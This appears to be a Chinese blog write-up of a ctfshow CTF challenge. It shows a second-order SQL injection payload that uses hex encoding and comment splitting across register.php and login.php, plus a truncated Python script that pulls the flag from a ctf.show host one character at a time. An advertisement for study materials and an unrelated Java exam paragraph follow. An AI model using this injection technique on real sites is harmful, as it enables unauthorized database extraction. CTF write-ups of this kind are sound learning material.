ctfshow-内部赛-签到_ctfshow内部赛签到,字节跳动+腾讯+华为+小米+阿里面试题分享

​ 如何构造注入。我们需要用到两处地方,即两次对数据库操作的地方,一处用于插入payload,在register.php,一处用于执行payload,在login.php,而且只有login.php有强过滤,在register出可以使用union select,还需要注意一点,在user.php中使用了is_numberic()函数对回显username进行了过滤,只能显示数字,但是没关系,这里通过hex编码绕过,可以查一下,该函数对16进制的字符串当作数字处理。

代码审懂了,但是脚本编写能力确实还欠佳,参考了一下别的师傅的代码,做了一点修改,直接可以跑出答案

代码解读:
为什么不直接选出答案,而是通过循环加substr,因为回显username有字数限制,也可以稍微改大一点,可以加快flag的产生

构造出来的SQL:在username处找flag,至于爆表爆字段改一改就行了,这里很巧妙,通过两段插入点,使用内联注释/*,username='*/还有一个注意点,原来的insert的语句使用了换行符,所以p是会被赋值,而不会被#注释掉

insert into test1 set email = ‘1’, username = hex(hex(substr((select/**/flag/**/from/**/flag)from/**/1/**/for/**/1))),/*,
username=‘*/#’,
password = ‘1’

import requests
import re

url1 = “http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/register.php”
url2 = “http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/login.php”
flag = ‘’
for i in range(1, 50):
payload = “hex(hex(substr((select/**/flag/**/from/**/flag)from/**/” + str(i) + “/**/for/**/1))),/*”
s = requests.session()
data1 = {
‘e’: str(i) + “',username=” + payload,
‘u’: “*/#”,
‘p’: i
}
r1 = s.post(url1, data=data1)
data2 = {
‘e’: i,
‘p’: i
}
r2 = s.post(url2, data=data2)
t = r2.text
try:
real = re.findall(“Hello (.*?),”, t)[0]
flag += real
except IndexError:

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

X:vip204888 (备注网络安全获取)**
[外链图片转存中…(img-v33wYdhf-1712651567314)]

  • 25
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
华为2023年的OD机试题目包含多个部分,其中有一个是“异常打卡Java”,是一道Java编程题目。 题目要求程序实现一个打卡系统,包含登录、签到、签退、查询历史记录等功能。要求使用Java语言编写,同时需要对程序中可能出现的异常进行处理,确保程序的稳定性和安全性。 对于这道题目,我们可以从以下几个方面进行思考和实现: 第一,需要使用Java语言编写程序,其中涉及到Java基础语法、数据类型、运算符、流程控制等知识点。需要熟悉Java编程语言的基本规则和开发环境,如JDK、Eclipse等。 第二,需要实现一个打卡系统,包括用户登录、签到、签退、查询历史记录等功能。这需要用到Java的面向对象编程思想,通过定义类、对象、方法等来实现系统的功能。 第三,需要对程序中可能出现的异常进行处理,通过try-catch语句等方式来捕获异常,并进行相应的处理。需要能够识别和处理常见的异常类型,如空指针异常、数组越界异常等。 在实现上述功能的同时,还需要考虑程序的稳定性和安全性,例如防止SQL注入、XSS攻击等安全问题。需要注意代码实现的效率和可读性,注重代码规范和注释,以便后续维护和更新。 总之,在华为OD2023机试中的异常打卡Java这一题目中,我们需要综合运用Java编程知识和面向对象思想,能够处理程序中可能发生的异常,确保程序的稳定性和安全性。需要注重代码防御和安全性,同时需要考虑代码的可读性和规范性。这是一道具有一定难度和挑战性的Java编程题目,但通过认真学习和练习,相信大家可以取得好的成绩。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值